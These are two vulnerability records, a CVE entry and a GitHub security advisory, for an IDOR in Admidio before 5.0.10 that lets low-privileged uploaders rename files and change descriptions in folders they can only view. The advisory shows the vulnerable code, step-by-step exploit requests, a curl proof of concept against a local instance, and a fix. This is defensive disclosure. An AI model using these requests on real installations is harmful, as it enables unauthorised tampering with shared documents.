{
  "affected": [
    {
      "affectedData": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.10"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Admidio is an open-source user management solution. Prior to version 5.0.10, `modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` \u2014 a separate URL parameter \u2014 without re-checking the folder that actually contains the file. `DocumentsService::renameFile()` resolves the target file via `getFileForDownload()` (which permits view-readable files) but does not require upload right on the file\u0027s source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file\u0027s description. Version 5.0.10 contains a fix."
    }
  ],
  "id": "CVE-2026-47230",
  "lastModified": "2026-08-12T23:17:20.313",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47230",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-12T22:07:32.702386Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T14:17:54.057",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-q6w3-hpfv-rg36"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:05:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` \u2014 a separate URL parameter \u2014 without re-checking the folder that actually contains the file. `DocumentsService::renameFile()` resolves the target file via `getFileForDownload()` (which permits view-readable files) but does not require upload right on the file\u0027s source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file\u0027s description.\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` \u2014 top-level check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n}\n```\n\n`src/Documents/Service/DocumentsService.php:272-315` \u2014 `renameFile()` resolves the file via `getFileForDownload()` (view-only) and never re-verifies upload right on the file\u0027s parent:\n\n```php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this-\u003edb);\n    $file-\u003egetFileForDownload($fileUUID);                          // \u003c-- view rights, not upload\n    ...\n    $oldFile = $file-\u003egetFullFilePath();\n    $newFile = $newName . \u0027.\u0027 . pathinfo($oldFile, PATHINFO_EXTENSION);\n    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . \u0027/\u0027;\n    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);\n\n    $file-\u003esetValue(\u0027fil_name\u0027, $newFile);\n    $file-\u003esetValue(\u0027fil_description\u0027, $newDescription);\n    $file-\u003esave();\n    ...\n}\n```\n\n`getFileForDownload()` enforces only the *download* (read) ACL on the file\u0027s folder. There is no `hasUploadRight()` check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on `public_uploadable` (UUID `c41a99c0-\u2026`). They have *view* (download) rights on `view_only_public` (UUID `21b417e2-\u2026`, `fol_public=1`) but no upload/edit right there. The folder contains `admin_announcement.txt` (UUID `aaae5edd-\u2026`).\n2. Render the rename form with a `folder_uuid` of a folder lowuser CAN upload to and a `file_uuid` of the target file:\n   `GET /modules/documents-files.php?mode=file_rename\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026`\n   The top-level rights check at line 85 sees the public-uploadable folder and passes.\n3. Submit rename:\n   `POST /modules/documents-files.php?mode=file_rename_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026` with `adm_csrf_token=\u003cfrom step 2\u003e`, `adm_new_name=hijacked_announcement`, `adm_new_description=Hijacked!`.\n   Server replies `{\"status\":\"success\"}`. `adm_files`: `fil_fol_id=7` (still the original `view_only_public`), `fil_name=\u0027hijacked_announcement.txt\u0027`, `fil_description=\u0027Hijacked!\u0027`. On disk: `admin_announcement.txt` is renamed to `hijacked_announcement.txt` in its original folder.\n\n## PoC\n\nCaptured live against HEAD `c5cde53` (mariadb on `127.0.0.1:3399`, php on `127.0.0.1:8085`):\n\n```\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026\"\n# form rendered, CSRF token X added to session\n\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026\" \\\n    -d \"adm_csrf_token=X\u0026adm_new_name=hijacked_announcement\u0026adm_new_description=Hijacked%21\"\n{\"status\":\"success\", \u2026}\n\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p\u2026 admidio \\\n    -e \"SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid=\u0027aaae5edd-\u2026\u0027;\"\nfil_fol_id  fil_name                       fil_description\n7           hijacked_announcement.txt      Hijacked!\n```\n\nThe folder ID `fil_fol_id=7` is `view_only_public` \u2014 the folder that `lowuser` had no upload right on. The change was applied as if `lowuser` were authorised.\n\n## Impact\n\nA user with the most basic Documents permission \u2014 upload to a single folder \u2014 can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:\n\n* **Defacement of public announcements / policies / circulars.** A regular member can replace `admin_announcement.txt` with `hijacked_announcement.txt` and a description that misrepresents the content. Other readers see the malicious metadata.\n* **Renaming-to-confuse.** Files can be renamed to identifiers that imply different content (`board_minutes_2025-Q4.pdf` \u2192 `board_minutes_DRAFT-do-not-distribute.pdf`).\n* **Description-as-XSS-vector** (downstream): if any view path treats `fil_description` as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.\n\nThe CVSS reflects: `PR:L` (uploader on any folder), `S:U` (stays inside Admidio\u0027s authorisation model), `C:N` because the actor already had read access, `I:H` because the file\u0027s identity is changed for every other reader, `A:N` because files are not deleted.\n\n## Recommended Fix\n\n`DocumentsService::renameFile()` must check upload right on the file\u0027s source folder before mutating it:\n\n```php\n// src/Documents/Service/DocumentsService.php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this-\u003edb);\n    $file-\u003egetFileForDownload($fileUUID);\n\n    // verify the current user has upload (write) right on the file\u0027s parent folder,\n    // not just download right (which getFileForDownload enforces)\n    $sourceFolder = new Folder($this-\u003edb);\n    $sourceFolder-\u003ereadData($file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$sourceFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n    ...\n}\n```\n\nEquivalently, in `modules/documents-files.php` `case \u0027file_rename_save\u0027`, resolve the file\u0027s parent folder and check `hasUploadRight()` against it before calling the service. The same fix should be applied to other documents-files modes that take a `file_uuid` independently of `folder_uuid`.\n\n## Related\n\nThis bug shares its root cause with `05-documents-cross-folder-move-idor.md` \u2014 both flow from the top-level rights check at lines 79-89 binding to URL `folder_uuid` rather than the actual file\u0027s parent. A single fix to enforce source-folder upload right inside `File::moveToFolder()` and `DocumentsService::renameFile()` (and any other operations on file_uuid) closes both.",
  "id": "GHSA-q6w3-hpfv-rg36",
  "modified": "2026-05-29T22:05:47Z",
  "published": "2026-05-29T22:05:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-q6w3-hpfv-rg36"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders"
}